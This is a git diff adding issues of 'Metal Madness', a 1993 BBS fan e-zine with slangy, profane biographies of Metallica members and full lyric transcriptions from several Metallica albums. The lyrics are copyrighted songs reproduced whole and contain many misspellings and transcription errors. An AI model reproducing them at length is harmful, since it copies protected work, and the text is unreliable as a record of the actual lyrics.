Blood will follow blood + Dying time is here + DAMAGE incorporated + + +FINALLY!!! So far this album took ME the most time to complete... +When i say "ME", that meant that i did, well....lesse...every bit of it! +I'm not bitchin', well maybe a little, but i didn't get much help on this +one. Granted that i have the 'puter and all, but still, it could have been +easier. Well, anyways < Can't you see that i'm bored outta my fucking mind?> +I hope you like this text, and that i hope you didn't turn down the loud +muzak you were SUPPOSED to be playing. Maybe yor parents hate it, maybe your +roomate hates it, or maybe, just maybe, you hate it too! If you do I pity +you for not being part of the MTV generation. If you want to challenge this +contact any BBS out there for you to bitch about it to me or blind cyclops. +Next file, we are gonna TRYto get a documentary or sometin' about +Metallica, but if not don't worry, it'll be something besides lyrics... + +Metal Madness Copyright (c) 1993 +All Rights Reserved + + + + + + + + + + + + + \ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/metal04.txt b/textfiles.com/magazines/METALMADNESS/metal04.txt new file mode 100644 index 00000000..c027f4a6 --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal04.txt @@ -0,0 +1,93 @@ + METAL04.TXT + written by Splattergut +Hello again! I'm glad ya got the 4th one! We have decided to take a twist +here at Metal Headquarters! We now are gonna have a DOC on Metallica;part +1 of 2. They are the lifestyles and all about the singers and shit like that +'kay? Part 1 is written by Splattergut and part 2 is Blind Cyclops which is +soon to be released. #1 is about James Hetfield and Kirk Hammett. #2 you'll +havta find out. O.k, on wit the show--- + + +JAMES HETFEILD-=-=-Master of lyrics and killer riffs! +James Hetfield is a rarity in Metala frontman who would rather take a back +seat when it comes to discussing himself and his muzak. The most private +member of Metallica...James has made no secret 0f the fact that he hates +doing interviews and prefers to let his muzak do the talkin'. On the rare +ocassion when he does speak 0ut, he's VERY h0nest and blunt. In person he can +be shy or outgoing, quiet or loud, depending on his mood. Ask 6 different +people about him and you'll get 6 diffr'nt answers. In addition to composing +and playing wickedly creative riffs, he writes and sings some of Metal's most +intellegent, powerful lyrics and that no one else could ever make them sound +"so grim, so true, so real" + The son of strict Christian Scientists, James was a quiet kid, and +was into sports His older stepbrother played drums in a +local band and turned James into rock in general, Black Sabbath in +particular. In his junior year, the Hetfields moved from from Downey to +LaBrea, CA, where James attended a "really preppy high school". It was the +kind of place where it was taboo to like sports AND have long hair. James +kept his hair and dove into his guitar. He played f0r a while in "High +School party band" Obsession, doing mostly Zeppelin and Sabbath covers and +latre formed Leather Charm, an outfit he once described as "Not too happenin'" +It was around that time that he met and hooked up wit Ron McGovney, who would +soon be Metallica's FIRST bass player. Metallica was formed when James +met Lars Ulrich through an ad in RECYCLER 0riginally the bands singer, +James wound up playing rhythm guitar as well when they couldn't find any one +else wit the right feel. Latre Metallica looked into a frontman to give James full concentration +on guitar, but it never happened, so he continued doin' both. + Metallica just wouldn't be Metallica any other way. + + Some Very Obscure Fakts: + DOB:August 3, '63 + Birthplace:L.A. + Is he married:NOT!!! + What influenced him:Black Sabbath, Iron Maiden, Diamond Head, + Motorhead. + Veeery 1st band:Obsession + Listens to:T0m Waits, Laibach, Red Hot Chili Peppers, Danzig, Faith + No More, Slayer, Fishbone + +: : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : +: : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : : +Welp, thats de first part from me, Splattergut. Hope you enjoyed it. +What would be cool is that you print it out and put it in your bathr00m for +future references! + + +Now on to part 2...you probably just skimmed the above note from me.... + +KIRK HAMMETT-=-=-=-Just a normal down-to-earth virtuoso +Kirk Hammett has the destinction of being the most cheerful member of +Metallica. Usally in a good mood and a unfailingly genial, his sunny nature +can belie the fact that he's a very serious, very accomplished guitar player. + The de late '60, Kirk's older "hippie" brother turned him into Jimi +Hendrix, Santana, Led Zeppelin and other happenin' sounds way back then. +When brother Rick was at school, young Kirk would pick up the guitar and +attempt to play. He seriously began to play at 15 and started a garage bamd +"about two weeks latre". Kirk, a friend who recently got a bass and other guy +who could sing all plugged into one amp in the bassist garage. + After school, Kirk took jobs in a warezhouse really in +a warehouse and a Burger King(tm)in order to buy guitars and an amp. At age +20, he decided to take guitar lessons and studied with Joe Satriani for a +few years to refine his technique. In '81, Kirk and drummer Tom Hunting, +formed Exodus. They gigged around local and once played on the same bill as +Metallica.(right before the band flew to N.Y. for their 1t LP) +It was while Metallica were out east they decided Dave Mustaine must go. +When kirk recieved a call asking him to join de band, he thought it was an +April Fool's joke. No joke, he flew to New York where he jammed wit James, +Cliff, and Lars. Kirk 'members it being a strange situation cuz he really +didn't know them and they weren't letting on om what they thought of him. He +realized that he was hired when he was included in the recording of +"Kill 'em All". Casual beginning to what would be a momentous relationship. +Kirk's inventive leads and k-k00l attitude are one quarter of what +makes Metallica great. + +AHHHHH! That's better. Well, hope ya enjoyed part I of this shit. +I would like to thank MOVIE MIRROR for making s0me 0f this possible..... +Shit...I guess that's all from me......go get the next issue or else. + Splattergut + + +Metal Madness Copyright(c) 1993 +All rights reserved. MUHAHAHAHAHAH! + + \ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/metal05.txt b/textfiles.com/magazines/METALMADNESS/metal05.txt new file mode 100644 index 00000000..62221eae --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal05.txt @@ -0,0 +1,98 @@ +Yo! Back with part II of our Metallica members close up! Let's get going wit + the co-founder, and drummer LARS ULRICH!! + + + As a co-founder, Lars is usually the one who talks to the media. +He's exteremely talkative 'n' can sometimes be intensely serious, but he can +also get as fucked up as the rest of the band. Born 'n' raised in Copenhagen +he tried a career at tennis just like his father until he moved to L.A. in +1980. When he realized that just about everyone there was not only into tennis +but was better than him, he quickly gave it up. Now he dove full tilt into +his other passion: muzak! Drummin' in particular. In '77 he got a drumkit +from his grandmother and started fantasizing that he was Deep Purple's Ian +Pace. + When he first moved to L.A., hardly anyone had heard of Iron Maiden, +Saxon, Motorhead and other cool European bands. He searched for a guitarist +with his tastes and found one bad-assed James Hetfield, a guy who appriciated +the finer things in metal. Months later, METALLICA was born in a skanchy old +garage. + + QUOTES: "We are doing this first and foremost for ourselves. If we as +a band feel comfortable and good about it, that's enough. We haven't been +forced into doing anything...putting out something that we are not +completely satisfied with could never happen." + ADVICE: "If we're trying to tell people anything, it's just do it +yourself, get your own shit together, cause that's what we've always tried to +do. Follow your instinct and and be a leader instead of a follower." + FACTS 'YA PROBABLY DIDN'T KNOW + ------------------------------ +Born: December 26, 1963 + Birthplace: Copenhagen, Dennmark + Bro's 'n' Sisters: none + First concert: Deep Purple + Influences: Deep Purple, Black Sabbath, Motorhead, Status Quo, Diamond + Head, 'n' Nazareth + First band: Metallica + Former jobs: paper route, gas station attendant + Self-description: "Energetic, confident, humble, sarcastically + obnoxious when I'm drunk, and clumsy-I always spill drinks and walk + into walls when I'm preoccupied." + + + +Pretty cool, huh? 'Ya hungry fer more? How about Jason Newstead, current +replacement of the late, great Cliff Burton? + + Jason is a real serious-lookin' dude in Metallica. In interviews, he +doesn't kid around much, with answers direct 'n' to the point. He looked like +the most dignified Metallican, until I saw his starrin' role in "amplified +body" noises "on their Justice show." Can't be in Metallica if you're not a +little crazy right? + He got his first bass after being "corrupted" by KISS at age thirteen. +He fucked around with it for a while, then put it in his closet for 5 years. +When he heard Black Sabbath 'n' Rush at 18, he was again inspired and started +playin' bass seriously. He quit school to go with a band of older guys to +California. In Arizona they ran out of money, and all but Jason went home. +He stuck it out with dishwashin' jobs and eventually hooked up with drummer +Kelly Smith. Together they formed Flotsam and Jetsam. In the fall of '86 Cliff +Burton of Metallica was killed under a bus. He was recommended to Metallica +and was asked to audition wit them. Around 2 a.m. after talkin' with the rest +of the band, Lars casually asked, "You want a job?" Jason casually "screamed +at the top of his lungs in the middle of this restaraunt". After rehearsing a +couple of days Jason played his first gigs with Metallica: two surprise "warm +up " sets at L.A.'s Country Club. After that, they toured Japan and Europe " + Cliff was a tough act to follow, but Jason did it with style! + + QUOTES: "You gotta play like you are never gonna play again.You just +gotta roar EVERYWHERE, whether the are 20 people or 20 million." + ADVICE: "Success is being able to play what we want, and not having to +conform to anybody and still coming through over and over, still being +accepted. Being true to ourselves that's what it comes down to" + + FACTS 'YA PROBABLY DIDN'T KNOW + ------------------------------ + Born: March 4, 1963 + Born in: Battle Creek, Michigan + Is He married: fuck yeah! + First concert: Ted Nugent + + + +that's about it for the rest of the band! These metal files are really +getting around so if you have anything special you want to see E-mail +Splattergut in about any board in Lubbock or me, Blind Cyclops on Virtual +Madness. 'Till then "try, fail, live, learn, and die happy trying!"-Diamond +Darrel. + +BLind Cyclops +------------- + + + + +Metal Madness Copyright (c) 1993 +All Right Reserved Wahahahaha! + + + + \ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/metal06.txt b/textfiles.com/magazines/METALMADNESS/metal06.txt new file mode 100644 index 00000000..d5cf3116 --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal06.txt @@ -0,0 +1,269 @@ + /\/\eta| #6 +Well, the long awaited Ride the Lighting is here and I hope you enjoy it. +No small talk here, just on lets get on with it... + +FIGHT FIRE WITH FIRE: + +Do unto others as they have done to you +But what the hell is the world coming to + +Blow the universe into nothingness +Nuclear warfare shall lay us to rest + + Fight fire with fire + Ending is near + Fight fire with fire + Bursting with fear + +We shall all die + +Time is like a fuse, short and burning fast +Armageddon is here, like said in the past + + =-=CHORUS as before=-= + +Soon to fill our lungs the hot winds of death +The gods are laughing, so take your last breath + + =-=CHORUS again!=-= + + Fight fire with fire + + <--repeat the whole thing again,--> + <--i'm just saving you some bits--> + +RIDE THE LIGHTING: + +Guilty AS charged +But damn it, it ain't right +There is someone else controlling me + +Who made you good to say +"I'll take your life from you!!" + + Flash before my eyes + Now It's time to die + Burning in my brain + I can feel the flame + +Wait for the sign +To flick the switch of death +It's the beginning of the end + +Sweat, chilling cold +As I watch death unfold +Consciencness is my only friend + +My fingers grip with fear +What am I doing here? + + =-=CHORUS=-= + +Someone helps me +Oh please god help me +They are trying to take it all away +I Don't want to die + +Time moving slow +The minutes seem like hours +The final curtain call I see + +How true is this? +Just get, it over with +If this is true, just let it be + +Wakened by horrid scream +Freed by this frighting dream + + =-=CHORUS=-= + +FOR WHOM THE BELL TOLLS: + +Make his fight on the hill in the early day +Constant chill deep inside +Shouting gun, on they run through the endless gray +On they fight, for they are right, yes, but whose to say? +For a hill men would kill why? they do not know +Stiffined wound test thier pride +Men of five still alive through the raging glow +Gone insane from the pain that they surely know + + For whom the bell tolls + Time marches on + For whom the bell tolls + +Take a look at the sky before you die +Its the last time he will +Blackened roar massive roar fills the crumbling sky +Shattered goal fills his soul with a ruthless cry +Stranger now, are his eyes, to this mystery +He hears the silence so loud +Crack of dawn, all is gone except the will to be +Now they see what will be, blinding eyes to see + + For whom the bell tolls + Time marches on + For whom the bell tolls + + +FADE TO BLACK: + +Life it seems, will fade away +Drifting further every day +Getting lost within myself +Nothing matters, no one else +I have lost the will to live +Simply nothing more to give +There is nothing more to me +Need the end to set me free + +Things not what they used to be +Missing one inside of me +Deathly lost, this can't be real +Cannot stand this hell I feel +Emptiness is filling me +To the point of agony +Growing darkness taking dawn +I was me, but now he's gone + +No one but me can save myself, but it's too late +Now I can't think, thats why I should even try + +Yesterday seems as though it never existed +Death greets me warm, now I will just say goodbye + + +TRAPPED UNDER ICE: + +I Don't know how to live through this hell +Woken up, I'm still locked up in this shell +Frozen soul, frozen down to the core +Break the ice, i can't take anymore + + Freezing + Can't move at all + Screaming + Can't hear my call + I am dying to live + Cry out + I'm trapped under ice + +Crystallized, as I lay here and rest +Eyes of glass stare directly at death +From deep sleep I have broken away +No one knows, no one hears what I say + + =-=>CHORUS<=-= + +Scream, from my soul +Fate, mystified +Hell, forever more +No release from my chronic state +What is this? I've been stricken by fate +Wrapped up tight, cannot move, cannot break free +Hand of doom has a tight grip on me + + =-=>CHORUS<=-= + +escape: + +Feel no pain, but my life ain't easy +I know I'm my my best friend +No one cares, but I'm so much stronger +I'll fight until the end +To escape from the true FALSE world +Undamaged destiny +Can't get caught in the endless circle +Ring of stupidity + + Out for my own, out to be free + One with my mind, they just can't see + No need to hear things that they say + Life is for my own to live my own way + +Rape my mind and destroy my feelings +Don't tell me what to do +I Don't care now, cause I'm on my side +And I can see through you +Feed my brain with your so called standards +Who says that I ain't right? +Break away from your common fashion +See through your blurry sight + + -=--=- + +See them try to bring the hammer down +No damn chains can hold me to the ground + + Life is for my own to live my own way + + (now repeat the whole thing again!!!) + +CREEPING DEATH: + +Slaves +Hebrews born to serve, to the pharaoh +Heed +To his every word, live in fear +Faith +Of the unknown on, the deliverer +Wait +Something must be done, four hundred years + + So let it be written + So let it be done + I'm sent here by the chosen one + So let it be written + So let it be done + To kill the first born pharaoh son + I'm creeping death + +Die by my hand +I creep across the land +Killing first born man +Die by my hand +I creep across the land +Killing first born man + +I +Rule the midnight air the destroyer +Born +I shall soon be there, deadly mass +I +Creep the steps and floor final darkness +Blood +Lambs blood painted door, I shall pass + + |/-\|CHORUS|/-\| + +THE CALL OF KTULU: + +|~~~~~instrumental~~~~~| +------------------------ + +O.k, was that cool? I liked it a lot. Now, on to the news: + +Splattergut's n3wz: +This is our 6th phile, and I think were doin' pretty good...I mean no one has +REALLY said they hate us and want to burn us at the stake...hehe +Me and Blind Cyclops *MAY* have some new writers. They are Alkaliod and +Lars Ulrich<--pretty cool name, huh? We hope we can brings these guys in +and we can mass produce these babies. Alkaliod has about every Anthrax +albums, with us bringing in the rear....so all you Anthrax lovers, just wait! + +-Near to the future album---lyrics to "Last Action Hero" written by +Blind Cyclops. +-Correction:I would like to think Sandman for bringing it up to me. +Ride the Lighting was BEFORE Master Of Puppets, so we hope we didn't confuse +you all out there. +-More philez on the way! The next few will be out before the 21, of +September. So be waiting. +-Last, Me and Blind Cyclops might be running a board soon wich will become +/\/\etal headquarters. Maybe, we dunno if we should run one. + +Thats about it.....see ya in the next k-rad file! + +Metal Madness Copyright (c) 1993 +All Rights Reserved. MUhahahahah! + + \ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/metal07.txt b/textfiles.com/magazines/METALMADNESS/metal07.txt new file mode 100644 index 00000000..0f963c89 --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal07.txt @@ -0,0 +1,531 @@ +Aloha! Or something...I take French, but who cares? Well, ANOTHER phile +written by me...again. This is the 4th album written by /\/\etallica! +Now, first and foremost, I havta clear something up. Many people have +'criticized' me or tell me what a fucking rip off we have here! Well, you +know who I'm talkin' about....if you said "YEP" than *I* got one thing to +say----HA! FUCK YOU! HA HA!!! We in NO way copy cDc or any other t3xt!!! +O.k., now on wit the album.... + +Blackened: + +Blackened is the end +Winter it will send +Throwing all you see +Into obscurity + +Death of mother earth +Never a rebirth +Evolution's End +Never will it mend + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Color our world blackened + +Blistering of earth +Terminate its worth +Deadly nicotine +Kills what might have been + +Callous frigid chill +Nothing left to kill +Never seen before +Breathing nevermore + +Never + + Fire + To begin whipping dance of the dead + Blackened is the end + To begin whipping dance of the dead + Color our world blackened + + Blackened. + +Opposition... Contradiction... Premonition... Compromise +Agitation... Violation... Mutilation... Planet dies + + Darkest color + Blistered earth + True death of life + +Termination... Expiration... Cancellation... Human race +Expectation... Liberation... Population... Lay to waste + + See our mother + Put to death + See our mother die + +Smoldering decay +Take her breath away +Millions of our years +In minutes disappears + +Darkening in vain +Decadence remains +All is said and done +Never is the sun + +Never + +Fire +To begin whipping dance of the dead +Blackened is the end +To begin whipping dance of the dead + + Fire + Is the outcome of hypocrisy + Darkest potency + In the exit of humanity + Color our world blackened + + Blackened. + + +...AND JUSTICE FOR ALL: + +Halls of justice painted green +Money talking +Power wolves beset your door +Hear them stalking +Soon You'll please their appetite +They devour +Hammer of justice crushes you +Overpower + + + The ultimate in vanity + Exploiting their supremacy + I Can't believe the things you say + I Can't believe + I Can't believe the price you pay + Nothing can save you + Justice is lost + Justice is raped + Justice is gone + Pulling your strings + Justice is done + Seeing no truth + Winning is all + Find it so grim + So true + So real + +Apathy their stepping stone +So unfeeling +Hidden deep animosity +So deceiving +Through your eyes their light burns +Hoping to find +Inquisition sinking you +With prying minds + + Lady justice has been raped + Truth assassin + Rolls of red tape seal your lips + Now You're done in + Their money tips her scales again + Make your deal + Just what is truth? I cannot tell + Cannot feel + + +EYE OF THE BEHOLDER: + +Do you see what I see? +Truth is an offense +You silence for your confidence + +Do you hear what I hear? +Doors are slamming shut +Limit your imagination, keep you where they must + +Do you feel what I feel? +Bittering distress +Who decides what you express? + +Do you take what I take? +Endurance is the word +Moving back instead of forward seems to me absurd + + Doesn't matter what you see + Or into it what you read + You can do it your own way + If it's done just how I say + Independence limited + Freedom of choice + Choice is made for you my friend + Freedom of speech + Speech is words that they will bend + Freedom with their exception + +Do you fear what I fear? +Living properly +Truths to you are lies to me + +Do you choose what I choose? +More alternatives +Energy derives from both the plus and negative + +Do you need what I need? +Boundaries overthrown +Look inside, to each his own + +Do you trust what I trust? +Me, myself, and I +Penetrate the smoke screen, I see through the selfish lie + +=-=CHORUS=-= + +Do you know what I know? +Your money and your wealth +You silence just to hear yourself + +Do you want what I want? +Desire not a thing +I hunger after independence, lengthen freedom's ring + +=-=CHORUS=-= +=-=CHORUS=-= + + + +One: + +I Can't remember anything +Can't tell if this is true or dream +Deep down inside I feel to scream +This terrible silence stops me + +Now that the war is through with me +I'm waking up, I cannot see +That there's not much left of me +Nothing is real but pain now + + Hold my breath as I wish for death + Oh please God, wake me + +Back in the womb it's much too real +In pumps life that I must feel +But Can't look forward to reveal +Look to the time when I'll live + +Fed through the tube that sticks in me +Just like a wartime novelty +Tied to machines that make me be +Cut this life off from me + + Hold me breath as I wish for death + Oh please God, wake me + + Now the world is gone, I'm just one + Oh God, help me hold my breath as I wish for death + Oh please God, help me + +Darkness: Imprisoning me + All that I see + Absolute horror + I cannot live + I cannot die + Trapped in myself + Body my holding cell + +Landmine: Has taken my sight + Taken my speech + Taken my hearing + Taken my arms + Taken my legs + Taken my soul + Left me with life in Hell + + +THE SHORTEST STRAW: + +Suspicion is your name +Your honesty to blame +Put dignity to shame +Dishonor +Witchhunt, modern day +Determining decay +The blatant disarray +Disfigure +The public eyes' disgrace +Defying common place +Unending paper chase +Unending + +Deafening +Painstaking +Reckoning +This vertigo it doth bring + + Shortest straw + Challenge liberty + Downed by law + Life in infamy + Rub you raw + Witchhunt riding through + Shortest straw + The shortest straw has been pulled for you + + =-=CHORUS=-= + Pulled for you + Shortest straw + Pulled for you + Shortest straw + Pulled for you + Shortest straw + Shortest straw has been pulled for you + +The accusations fly +Discrimination, why? +Your inner self to die +Intruding +Doubt sunk itself in you +Its teeth and talons through +Your living catch-22 +Deluding + +A mass hysteria +A megalomania +Reveal dementia +Reveal + +Secretly +Silently +Certainly +In vertigo you will be + + Shortest straw + Challenge liberty + Downed by law + Live in infamy + Rub you raw + Witchhunt riding through + Shortest straw + This shortest straw has been pulled for you + +=-=CHORUS=-= +=-=CHORUS=-= + +Behind you, hands are tied +Your being, ostracized +Your hell is multiplied +Upending +The fallout has begun +Oppressive damage done +Your many turned to none +To nothing +You're reaching your nadir +Your will has disappeared +The lie is crystal clear +Defending +Channels red +One word said +Blacklisted +With vertigo make you dead + + Shortest straw + Challenge liberty + Downed by law + Lie in infamy + Rub you raw + Whichhunt riding through + Shortest straw + The shortest straw has been pulled for you + Pulled for you + + + +HARVESTER OF SORROW: + +My life suffocates +Planting seeds of hate +I've loved, turned to hate +Trapped far beyond my fate + +I give +You Take +This life that I forsake +Been cheated of my youth +You turned this lie to truth + + Anger + Misery + You'll suffer unto me + + Harvester of sorrow + Language of the mad + Harvester of sorrow + +Pure black looking clear +My work is done soon here +Try getting back to me +Get back which used to be + +Drink up +Shoot in +Let the beatings begin + +Distributor of pain +Your loss becomes my gain + + Anger + Misery + You'll suffer unto me + + Harvester of sorrow + Language of the mad + Harvester of sorrow + +All have said their prayers +Invade their nightmares +To see into my eyes +You'll find where murder lies + +Infanticide + + Harvester of sorrow + Language of the mad + Harvester of sorrow + Language of the mad + Harvester of sorrow + + + +THE FRAYED ENDS OF SANITY: + +Never hunger +Never prosper +I have fallen prey to failure +Struggle within +Triggered again +Now the candle burns at both ends + +Twisting under schizophrenia +Falling deep into dementia + + + Old habits reappear + Fighting the fear of fear + Growing conspiracy + Everyone's after me + Frayed ends of sanity + Hear them calling + Hear them calling me + +Birth of terror +Death of much more +I'm the slave of fear, my captor +Never warnings +Spreading its wings +As I wait for the horror she brings +Loss of interest, question, wonder +Waves of fear they pull me under + +=-=CHORUS=-= + +Into ruin +I am sinking +Hostage of this nameless feeling +Hell is set free +Flooded I'll be +Feel the undertow inside me + +Height, Hell, time, haste, terror, tension +Life, death, want, waste, mass depression + +=-=CHORUS=-= + + + + +TO LIVE IS TO DIE: + +When a man lies he murders + Some part of the world +These are the pale deaths which + Men miscall their lives +All this I cannot bear + To witness any longer +Cannot the kingdom of salvation + Take me home + + +DYERS EVE: + +Dear mother +Dear father +What is this Hell you have put me through +Believer +Deceiver +Day in day out live my life through you +Pushed onto me what's wrong or right +Hidden from this thing that they call life + +Dear mother +Dear father +Every thought I'd think you'd disapprove +Curator +Dictator +Always censoring my every move +Children are seen but are not heard +Tear out everything inspired + + Innocence + Torn from me without your shelter + Barred reality + I'm living blindly + +Dear mother +Dear father +Time has frozen still what's left to be +Hear Nothing +say Nothing +Cannot face the fact I think for me +No guarantee, it's life as is +But damn you for not giving me my chance + +Dear mother +Dear father +You've clipped my wings before I learned to fly +Unspoiled +Unspoken +I've outgrown that fucking lullaby +Same thing I've always heard from you +Do as I say, not as I do + + Innocence + Torn from me without your shelter + Barred reality + I'm living blindly + I'm in Hell without you + Cannot cope without you two + Shocked at the world that I see + Innocent victim, please rescue me + +Dear mother +Dear father +Hidden in your world you've made for me +I'm seething +I'm bleeding +Ripping wounds in me that never heal +Undying spite I feel for you +Living out this Hell you always knew + + +---------------------------------------------------------------------------------- +Well, was that k00l, k-rad, or some shit like that? Next issue will be +Metallica's latest album....METALLICA! So be sure to go out and leech +it! Until then...FUCK OFF! + + +%%%%%%%%%%%% +SPlaTteRgUT +%%%%%%%%%%%% + + \ No newline at end of file diff --git a/textfiles.com/magazines/METALMADNESS/metal08.txt b/textfiles.com/magazines/METALMADNESS/metal08.txt new file mode 100644 index 00000000..5ad325fb --- /dev/null +++ b/textfiles.com/magazines/METALMADNESS/metal08.txt @@ -0,0 +1,676 @@ + Alllll Riiiiiiiight! The Blind One here. Back again with another +batch lyrics simply 'cause we care! Here special is the newest, latest, +and baddest album by those gods o' metal: METALLICA! + +Enter SANDMAN: + + +Say your prayers, little one. +DON't forget my son, +To include everyone. +I tuck you in, +Warm within, +Keep you free from sin +Till the sandman he comes. + + Sleep with one eye open, + Gripping your pillow tight. + Exit light + Enter night + Take my hand + We're off to never never land. + +Something's wrong, shut the light. +Heavy thoughts tonight, +And they aren't of Snow White. +Dreams of war, dreams of li'rs, +Dreams of dragon's fire +And of things that will bite. + + Sleep with one eye open, + Gripping your pillow tight. + Exit light + Enter night + Take my hand + We're off to never never land. + + +Now i lay me down to sleep + +Pray the lord my soul to keep + +If I die before I wake + +Pray the lord my soul to take + +Hush little baby don't say a word +And nevermind that noise you heard +It's just the beasts under your bed +In your closet in your head + + Exit light + Enter night + Grain of sand + Exit light + Enter night + Take my hand + We're off to never never land + + + +SAD BUT TURE: + + +Hey, I'm your life. I'm the one who takes you there. +Hey, I'm your life. I'm the one who cares. +They, they betray. I'm your only true friend now. +They, they betray. I'm forever there. + + I'm your dream, make you real. + I'm your eyes when you must steal. + I'm your pain when you can't feel. + Sad but true . + I'm your dream, mind astray. + I'm your eyes when your away. + I'm your pain while you repay. + You know it's sad but true. + Sad but true. + +You, you're my mask. Your my cover my shelter. +You, you're my mask. Your the one who's blamed. +Do, do my work. Do my dirty work, scape-goat. +Do, do my deeds. for you're the one who's shamed. + + I'm your dream, make you real. + I'm your eyes when you must steal. + I'm your pain when you can't feel. + Sad but true. + I'm your dream, mind astray. + I'm your eyes when your away. + I'm your pain while you repay. + You know it's sad but true. + Sad but true. + +I'm your dream. +I'm your eyes. +I'm your pain. + +I'm your dream. +I'm your eyes. +I'm your pain. +You know it's sad but true + +Hate, I'm your hate.I'm your hate when you want love. +Pay, pay the price. Pay for nothing's fair. +Hey, I'm your life. I'm the one who took you there. +Hey, I'm your life. And I no longer care. + + I'm your dream, make you real. + I'm your eyes when you must steal. + I'm you pain when you can't feel. + Sad but true + I'm your truth, telling lies. + I'm your reason, alibies. + I'm inside, open your eyes. + I'm you. + Sad but true. + +HOLIER THEN THOU: + + +No more! The crap rolls out your mouth again. +Haven't changed, your brain is still gelatin. +Little whisperes circle around your head. +Why DON't you worry about yourself instead? + +Who are you? Where ya'been? Where ya' from? +Gossip burning on the tip of your toungue. +You lie so much you believe youreself. +Judge not lest ye be judged yourself. + + Holier than thou, + You are. + Holier than thou, + You are. + You know not. + +Before you judge me take a look at you. +Can't you find something better to do? +Point the finger slow to understand. +Arrogance and ignorance go hand in hand. + +It's not who you are, it's who you know. +Other's lives in the basis of your own. +Burn your bridges and build them back with wealth. +Judge not lest ye be judged yourself. + + Holier than thou, + You are. + Holier than thou, + You are. + You know not. + +Yeah! Who the hell are you? + + Holier than thou, + You are. + Holier than thou, + You are. + You know not. + +Whoa not! + + +THE UNFORGIVEN: + + +New blood joins this earth, +And quickly he's subdued. +Through constant pain disgrace, +The young boy learns their rules. +With time the child draws in +This whipping boy done wrong. +Deprived of all his thoughts, +The young man struggles on and on he's known. +Oooh a vow unto his own +That never from this day +His will they'll take away. + + What I've felt, what I've known + Never shined through in what I've shown. + Never be. + Never see. + Won't see what might have been. + What I've felt, what I've known + Never shined through in what I've shown. + Never free. + Never me. + So I dub thee unforgiven. + +They dedicate thier lives +To running all of his. +He tries to please them all +This bitter man he is. +Throughout his life the same, +He's battled constantly. +This fight he cannot win. +A tired man they see no longer cares. +The old man then prepares +To die regretfully. +That old man here is me. + + What I've felt, what I've known + Never shined through in what I've shown. + Never be. + Never see. + Won't see what might have been. + What I've felt, what I've known + Never shined through in what I've shown. + Never free. + Never me. + So I dub thee unforgiven. + + You labeled me, I'll label you + So I dub thee unforgiven + +WHEREVER I MAY ROAM: + + + +And the road becomes my bride +I have stripped of all but pride, +So in her I do confide, +And she keeps me satisfied. +Gives me all I need +And with dust in throat I crave, +Only knowledge will I save. +To the game you stay a slave. +Rover, wand'rer, nomad, vagabond, +Call me what you will. + + But I'll take my time anywhere, + Free to speak my mind anywhere, + And I'll redefine anywhere. + Anywhere I roam, + Where I lay my head is home, yeah! + + +And the Earth becomes my throne. +I adapt to the unknown. +Under wandering stars I've grown, +By myself but not alone. +I ask no one. +And my ties are severed clean, +The less I have, the more I gain. +Off the beaten path I reign. +Rover, wand'rer, nomad, vagabond. +Call me what you will. + + But I'll take my time anywhere, + Free to speak my mind anywhere, + And I'll nevermind anywhere. + Anywhere I roam, + Where I lay my head is home. + + But I'll take my time anywhere, + I'm free to speak my mind. + And I'll take my find anywhwere. + Anywhwere I roam, + Where I lay my head is home. That's where. + + But I'll take my time anywhere, + I'm free to speak my mind anywhere, + And I'll redefine anywhere + Anywhere I roam, + Where I lay my head is home. + Carved upon my stone, + My body lie but still I roam yeah, yeah. + +Wherever I may roam... + + +DON'T TREAD ON ME: + + +DON't tread on me. +Say DON't tread on me. +Liberty or death, +What we so proudly hail. +Once you provoke her, +Rattling of her tail. +Never begins it, +Never but once engaged, +Never surrenders, +Showing the fangs of rage. +Say DON't tread on me. + + So be it, + Threaten no more. + To secure peace is + To prepare for war. + So be it, + Settle the score. + Touch me again for the words that you will hear evermore. + DON't tread on me. + +Love it or leave it, +She with the deadly bite. +Quick is the blue tongue, +Forked as the lightning strikes. +Shining with brightness, +Always on surveilance. +The eyes, they never close. +Emblem of vigillance. +Say DON't tread on me. + + So be it, + Threaten no more. + To secure peace is + To prepare for war. + So be it, + Settle the score. + Touch me again for the words that you will hear evermore. + DON't tread on me. + + So be it, + Threaten no more + To secure peace is + To prepaer for war. + +Liberty or death, +What we so proudly hail +Once you provoke her, +Rattling of her tail. + So be it, + Threaten no more. + To secure peace is + To prpare for war. + So be it, + Settle the score. + Touch me again for the words that you will hear evermore. + +DON't tread on me. + + +THROUGH THE NEVER: + + +All that is, was and will be. +Universe, much to big to see. +Time and space, never ending. +Disturbing thoughts, questtions pending. +Limitation of human understanding. +Too quick to cririsize. +Obligation to survive. +We hunger to be alive. Yeah. + + Twisting, turning, through the never. + All that is, + Ever, + Ever was + Will be ever . + Twisting, turning through the never. + +In the dark, see past our eyes, +Pursuit of truth, no matter where it lies. +Gazing up to the breeze on the heavens. +On a quest, meaning, reason. +Come to be, how it begun. +All alone in the family of the sun +Curiosity teasing everyone. +On our home, third stone from the sun. Yeah. + + Twisting, turning, through the never. + All that is, + Ever, + Ever was + Will be ever. + Twising, turning, through the never. + +On through the never. We must go +On through the never. Out to the +Edge of forever. We must go +On through the never. Then never comes. + + Twisting, turning, through the never. + All that is, + Ever, + Ever was + Will be ever. + Twisting, turning, + Who we are, + Ask forever. + Twisting, turning, through the never. + Never. + +NOTHING ELSE MATTERS: + + +So close, no matter how far +Couldn't be much more from the heart. +Forever trusting who we are. +And nothing else matters. + +Never opened myself this way. +Life is ours, we live it our way. +All these words I don't just say. +And nothing else matters. + +Trust I seek, and I find in you. +Ev'ry day for us something new. +Open mind for a diff'rent view. +And nothing else matters. + +Never cared for what they do. +Never cared for what they know. +Oh, but I know. + +So close, no mattter how far. +Couldn't be much more from the heart. +Forever trusting who we are. +And nothing else matters. + +Never cared for what they do. +Never cared for what they know. +Oh, but I know. + +I never opened myself this way. +Life is ours, we live it our way. +All these words I don't just say. +And 